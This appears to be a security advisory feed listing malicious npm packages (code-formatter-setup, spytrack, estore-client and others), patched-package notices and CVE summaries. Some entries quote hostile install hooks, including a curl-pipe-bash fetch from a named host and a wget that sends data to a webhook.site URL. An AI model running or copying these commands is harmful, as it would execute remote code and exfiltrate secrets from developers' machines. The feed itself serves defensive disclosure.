MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

ROOT-APP-NPM-CVE-2026-48988 CVE-2026-48988 in @rootio/markdown-it - Patched by Root

Root has patched CVE-2026-48988 in the @rootio/markdown-it package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-44573 CVE-2026-44573 in @rootio/next - Patched by Root

Root has patched CVE-2026-44573 in the @rootio/next package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-27980 CVE-2026-27980 in @rootio/next - Patched by Root

Root has patched CVE-2026-27980 in the @rootio/next package for Root:npm. Multiple fixed versions available...

MAL-2026-10680 Malicious code in syncgrove (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c96b3528ab792944d243b00ae61facc33740850b5cb2ed19671fd6732e43494 The package's postinstall lifecycle script contacts a hardcoded plain-HTTP endpoint at http://player.sweeprovider.org, retrieves a key via /getKey.ph...

MAL-2026-10668 Malicious code in chain-as-log (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86f8946bf37a9861239e59a78f2d003612494061d5aa60c5f7e54379e72f0ac7 chain-as-log advertises itself as a chai plugin providing deep-equal-excluding assertion helpers. At plugin load time when a consumer calls...

MAL-2026-10671 Malicious code in spytrack (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72113145e88d53764f1e157c91cda05cb143a31802d9565ba8e1765e9886491b spytrack is a typosquat of chai-spies. When the plugin is registered via chai.use, the top-level plugin function invokes assertConnection, which...

Malicious code in @fhkry/x-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector db9f6c3e5c391d9d3ffeb7f6c1b4154b0266efeb73bdf5543ad81f50236bdabc This package presents itself as a fork of @whiskeysockets/baileys impersonating the original author 'Adhiraj Singh' in package.json and exposing the...

ROOT-APP-NPM-GHSA-VVJJ-XCJG-GR5G GHSA-vvjj-xcjg-gr5g in @rootio/nodemailer - Patched by Root

Root has patched GHSA-vvjj-xcjg-gr5g in the @rootio/nodemailer package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-AIKIDO-2026-10823 AIKIDO-2026-10823 in @rootio/axios - Patched by Root

Root has patched AIKIDO-2026-10823 in the @rootio/axios package for Root:npm. Multiple fixed versions available...

MAL-2026-10658 Malicious code in @sauruslord/eslint-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c7572befaa64e1e08790af3235ffcc091d379158bf1389c1be9c67d30e3d205a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in sauruslord-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 474b90ec19af5dbbc5bf3c8d27c0c4d079c7d980d6e3316dad3bbf5682abbe52 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-10657 Malicious code in @sauruslord/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c253865ed8326b20645b4eb66bb0e4bd0445d74ca15fb057ac9839a046e59c9b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10634 Malicious code in estore-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f5f2a664c7576b3cbf04696ddff717d8b3e9b835693035fa56a23035edef411 package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/d32804ac-1bbb-4100-ab60-95231dd3251c/, sending the...

MAL-2026-10650 Malicious code in install-skia (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b665b508eeae9e0e619ed7b68e3a43248cd81d67d40a0516bbd62981ddb2359f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-10651 Malicious code in iwsdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66af3674e89512532e1448a9421b3318388094ff91bb2e8c32714670a7f5f2cc The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-10609 Malicious code in utils-style-engine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3049309c5f74bd1b453bcd51803cb7b8ddbbab2d3038f10d13e11a592dff6f52 The package declares a preinstall hook that runs index.js on npm install. index.js collects host identifiers os.hostname, os.userInfo, uid/gid, shell...

CVE-2026-11403

A vulnerability in Sonatype Nexus Repository Manager's format-specific API key generation may allow a remote attacker to gain unauthorized access to repository operations as a targeted user. A format-specific API key realm NuGet API Key, Docker Bearer Token, or npm Bearer Token must be enabled an...

CVE-2026-15697 svgdotjs svg.js npm Package API EventTarget.on prototype pollution

A vulnerability was found in svgdotjs svg.js up to 3.2.5. This affects the function EventTarget.on of the file svgdotjs/svg.js of the component npm Package API. Performing a manipulation results in improperly controlled modification of object prototype attributes. The attack may be initiated...

CVE-2026-59874 vulnerabilities

Vulnerabilities for packages: kibana, prism, graalvm, kubeflow-centraldashboard, opensearch-dashboards-fips, pulumi, npm, saf, gitlab-rails-ce, sqlpad, wazuh-dashboard, code-server, actions-runner, gitlab-rails-ce-fips, lerna, wazuh-dashboard-fips, homepage...